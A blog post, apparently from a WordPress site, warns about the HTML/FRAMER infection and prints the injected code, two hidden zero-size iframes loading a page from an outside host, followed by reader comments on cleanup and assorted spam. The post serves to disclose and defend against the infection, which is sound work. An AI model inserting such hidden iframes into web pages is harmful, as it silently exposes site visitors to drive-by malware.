HTML/FRAMER virus alert from AVG

I found the HTML/FRAMER virus had infected this site. It has been eradicated!

For those interested, the following code (commented for security) was inserted into the main index (index.php) by some hacker. For those of you with WordPress blogs I suggest you check you index.php file, the malicious code is inserted at the end on index.php. Other forms of the virus encode the iframe attack.

<!– <iframe src=”http://reycross.net/lib/index.php” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src=”http://reycross.net/lib/index.php” width=0 height=0 style=”hidden” frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> –>

Popularity: 17% [?]

  • DZone
  • StumbleUpon
  • Technorati
  • del.icio.us
  • Slashdot
  • Digg
  • Reddit
  • NewsVine
  • SphereIt
  • e-mail
  • Facebook
  • Google Bookmarks
  • Live
  • Propeller
1 Star2 Stars3 Stars4 Stars5 Stars6 Stars7 Stars8 Stars9 Stars10 Stars (4 votes, average: 9.50 out of 10)
Loading ... Loading ...

14 Responses to “HTML/FRAMER virus alert from AVG”

  1. radhoo Says:

    Hello, woh did you get rid of it. I have the same problem.

  2. 3Monkeys Says:

    I opened index.php with the theme editor, and simply deleted the php code described in the article. The malicious code appears at the very end of the php file, at least for me. Seems like many people are getting this as an encoded bit of php. There should not be any encoded portions of legitamate WP themes.

  3. radhoo Says:

    I did that too, but it keeps re appearing… is really bad. I scanned my pc with anti malware and it seems that I had some keyloggers and some other html virus that damaged my sites.

    I hope that this time I will get rid of them forever…

  4. Carlos Says:

    my sites suffered this too. More than 10,000 files affected, including .php, .htm, and .html on my entire server. Imagine that. Luckly for me i found a search/replace script that saved me. this damn thing got my site blocked in google, displaying warnings to users.

  5. Pat Morgan Says:

    Thanks for posting this. Answered my google warning message. Thanks Yahoo!

  6. denise denlinger Says:

    HELP!!! i am glad you found a way to get rid of this. BUT WHERE DO I START???? i am not too saavy yet at puter. please point me to where and how, PLEASE!!!!

  7. Tnt canli yayin Says:

    High quality article dude. It’s good to go through. many thanks for spending time to write down great things for us.

  8. Nathan Dataw Says:

    Thanks for the post, this is the best solution I’ve been able to find.

  9. dietas para bajar de peso rapidamente Says:

    Awesome article once again. Thanks a lot.

  10. disneyland Says:

    disneyland…

    [...]3monkeys » HTML/FRAMER virus alert from AVG[...]…

  11. voice and data Says:

    I am not sure where you are getting your information, but great topic. I needs to spend some time learning much more or understanding more. Thanks for magnificent information I was looking for this information for my mission.

  12. Santos Zera Says:

    Thank you for the sensible critique. Me and my neighbor were just preparing to do a little research on this. We grabbed a book from our local library but I think I learned more from this post. I’m very glad to see such great information being shared freely out there.

  13. Coozie Says:

    hello there and thank you for your information – I’ve definitely picked up something new from right here. I did however expertise a few technical points using this website, as I experienced to reload the site lots of times previous to I could get it to load correctly. I had been wondering if your web host is OK? Not that I am complaining, but sluggish loading instances times will often affect your placement in google and can damage your high-quality score if advertising and marketing with Adwords. Well I am adding this RSS to my email and can look out for a lot more of your respective interesting content. Make sure you update this again very soon..

  14. testujemy22 Says:

    Congatulation, yo have got a very nice skine on this blog.

Leave a Reply